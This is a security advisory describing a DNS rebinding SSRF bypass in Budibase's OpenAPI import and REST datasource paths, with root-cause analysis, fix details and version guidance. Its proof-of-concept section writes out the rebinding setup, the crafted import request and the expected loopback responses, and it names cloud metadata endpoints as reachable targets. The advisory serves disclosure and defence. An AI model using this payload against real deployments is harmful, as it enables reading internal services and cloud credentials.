Budibase: DNS Rebinding SSRF Bypass in OpenAPI Import and REST Query Execution
A builder-level user can trick Budibase into connecting to loopback or private-network services by using a DNS rebinding hostname that passes the SSRF blacklist check but resolves to an internal…

The problem
Budibase validates outbound request hostnames against an IP blacklist, but two code paths make separate DNS lookups for validation and connection, creating a TOCTOU window.
The OpenAPI query import path calls assertUrlIsSafe() then fires a raw fetch() without pinning the validated IP. The REST datasource path calls fetchWithBlacklist() but supplies a custom undici dispatcher that performs its own resolution at connect time, bypassing the pinned Node http.Agent the helper provides.
An authenticated builder can reach loopback services, RFC1918 ranges, cloud metadata endpoints (169.254.169.254), or any internal host reachable from the Budibase process. The response body is returned directly, making this a non-blind read-SSRF.
Proof of concept
A working proof-of-concept for this issue in @budibase/server, with the exact payload below.
# Step 1: configure rebind.test so the first DNS lookup returns a public IP
# (e.g. 8.8.8.8) and the second lookup returns 127.0.0.1.
# Start a canary HTTP service on loopback port 7777 of the Budibase host.
# --- Path A: OpenAPI import ---
# POST to the query import endpoint as a builder:
POST /api/queries/import HTTP/1.1
Host: budibase.internal
Cookie: <builder_session>
Content-Type: application/json
{"url": "http://rebind.test:7777/openapi.json"}
# Validation resolves rebind.test -> 8.8.8.8 (allowed)
# fetch() resolves rebind.test -> 127.0.0.1 (rebind)
# Canary returns: loopback-canary-hit:/openapi.json
# Expected server response (from advisory PoC):
# {"outcome":"allowed","body":"loopback-canary-hit:/openapi.json",
# "lookups":[{"phase":"guard","hostname":"rebind.test","address":"8.8.8.8"},
# {"phase":"fetch","hostname":"rebind.test","address":"127.0.0.1"}]}
# --- Path B: REST datasource / undici dispatcher ---
# Configure a REST datasource with base URL http://rebind.test:7777/
# then execute a query preview. undici re-resolves at connect time.
# Canary returns: REST-UNDICI-REBIND-CANARY
# Expected server response (from advisory PoC):
# {"undiciBypass":{"outcome":"allowed","status":200,
# "body":"REST-UNDICI-REBIND-CANARY","hitsAfter":1},
# "lookupTrace":[{"phase":"guard","hostname":"rebind.test","address":"8.8.8.8"},
# {"phase":"fetch","hostname":"rebind.test","address":"127.0.0.1"}]}Both paths share the same TOCTOU pattern (CWE-918): the blacklist check resolves the hostname once, discards the result, then the HTTP client resolves it again independently at socket creation time.
For OpenAPI import, packages/server/src/api/controllers/query/import/index.ts calls assertUrlIsSafe() then fetch(currentUrl, { redirect: "manual" }) as two separate operations. For the REST undici path, packages/server/src/integrations/rest.ts builds a custom undici dispatcher via getDispatcher({ rejectUnauthorized, url: requestUrl }) and passes it as a dispatcher option.
Undici honors the dispatcher over the Node agent set by fetchWithBlacklist(), so it performs its own resolution and the pinned agent is never used for the actual connection.
PR #19178 (commits 1fecb3f, 5758bdb, 586802b) fixes both: the OpenAPI import path is routed through the pinned outbound fetch helper, and the undici dispatcher is rewritten to pin the resolved IP at the connect hook level so no second resolution can occur.
The fix
Upgrade to @budibase/server 3.39.30 or later. The fix (PR #19178) routes OpenAPI import through the same IP-pinning helper used elsewhere and rewrites the undici dispatcher to lock the connection to the validated IP address, closing both TOCTOU windows.
Related research
- high · 8.5Budibase REST Datasource SSRF via DNS Rebinding (undici dispatcher bypasses IP pin)
- high · 8.8Budibase: App-Scoped Builder Privilege Escalation via Public Role Assignment API
- highBudibase Email Change IDOR Allows Full Account Takeover via POST /api/v2/email
- high · 7.1Budibase MongoDB Integration NoSQL Operator Injection